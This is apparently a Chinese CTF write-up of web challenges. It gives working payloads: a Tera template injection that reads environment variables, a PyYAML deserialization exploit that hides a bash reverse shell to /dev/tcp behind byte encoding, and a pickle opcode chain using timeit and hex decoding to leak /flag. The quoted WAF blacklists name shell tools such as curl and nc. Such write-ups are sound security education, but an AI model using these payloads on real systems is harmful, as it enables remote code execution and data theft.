Checkin
签到题
后续题目给出提示后才知道是敏感信息泄露。
尝试读game.wetolink.com下面的www.zip、robots.txt、.git/,在robots.txt即可找到flag。
西湖论剑邀请函获取器
给出第二个提示就很明显是SSTI了…
但同时根据提示只需要读环境变量,还是Rust写的,猜测是Tera模板引擎。
而对于读环境变量,查阅资料了解到可以直接使用内置函数get_env读取…
所以payload:
{{ get_env("FLAG") }}
Web
yaml_matser
附件给出了app.py的完整源码,再看到Yaml就不难猜到是考察PyYaml反序列化。
关键:
def waf(input_str):
blacklist_terms = {'apply', 'subprocess','os','map', 'system', 'popen', 'eval', 'sleep', 'setstate',
'command','static','templates','session','&','globals','builtins'
'run', 'ntimeit', 'bash', 'zsh', 'sh', 'curl', 'nc', 'env', 'before_request', 'after_request',
'error_handler', 'add_url_rule','teardown_request','teardown_appcontext','\\u','\\x','+','base64','join'}
input_str_lower = str(input_str).lower()
for term in blacklist_terms:
if term in input_str_lower:
print(f"Found blacklisted term: {term}")
return True
return False
...
@app.route('/Yam1', methods=['GET', 'POST'])
def Yam1():
filename = request.args.get('filename','')
if filename:
with open(f'uploads/{filename}.yaml', 'rb') as f:
file_content = f.read()
if not waf(file_content):
test = yaml.load(file_content)
print(test)
return 'welcome'
其中,yaml.load方法就是执行PyYaml的关键方法,而waf中并未ban掉exec,所以可以使用最简单的打PyYaml的payload:
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: 'print(1)'
但是这道题还没有回显,考虑使用反弹shell。
再加之waf中过滤了os、sytem、sh等,但是没有过滤byte和decode,所以可以使用 bytes([]).decode()
这样的形式绕过。
最终的payload为:
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: '__import__(bytes([111,115]).decode()).__getattribute__(bytes([115,121,115,116,101,109]).decode())(bytes([98,97,115,104,32,45,99,32,34,98,97,115,104,32,45,105,32,62,38,32,47,100,101,118,47,116,99,112,47,105,112,47,112,111,114,116,32,48,62,38,49,34]).decode())'
# __import__('os').__getattribute__('system')('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"')
将这个a.yaml上传上去,然后访问 /Yam1?filename=a
即可get shell:
const_python
根据提示进/src读源码,显然,这是一道考察Pickle反序列化的题目。
关键:
@app.route('/ppicklee', methods=['POST'])
def ppicklee():
data = request.form['data']
sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:
pickle_data = base64.b64decode(data)
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:
return i+" waf !!!!!!!"
pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"
最开始是猜测要通过Pickle反序列化修改admin的密码,然后会有进一步的提示,但是发现利用以下opcode:
c__main__
admin
(Vpassword
V123456
db.
修改密码后的确可以登录admin,但是/admin路由下也什么都没有。
进而要考虑其他方式。
根据题目提示flag位于根目录下的/flag,所以就是要想办法读到flag。
但是这道题ban的还挺彻底的,os、eval、exec都不能用了。
查阅资料了解到可以通过其他会调用回调函数的方法来调用,如:timeit.repeat()
然后给它传入一个经过 codecs.docode()
处理的python脚本字符串即可。
简而言之可以将 timeit.repeat()
当成 eval()
来用。
但是这道题还把base ban掉了,所以用不了base64绕过,考虑使用hex绕过。
RCE的思路已有,现在只需要将/flag的内容带出来就可以了,但是这道题将os和sys强制写成字符串了,用不了。
本考虑使用requests库把/flag的内容作为请求发出来,但是经过本地调试发现requests库会调用sys导致报错。
最后突发奇想,因为/src路由可以读源码,可以试试直接将/flag的内容追加到app.py的末尾。
所以执行的脚本是:
exit(open('app.py','a+').write("#"+open('/flag','r').read()))
为了避免陷入死循环,使用一个exit直接结束程序。
最终payload:
ctimeit
repeat
(ccodecs
decode
(ccodecs
decode
(V65786974286f70656e28276170702e7079272c27612b27292e7772697465282223222b6f70656e28272f666c6167272c277227292e7265616428292929
Vhex
tRtRtR.
提交POST请求,再访问/src即可得到flag。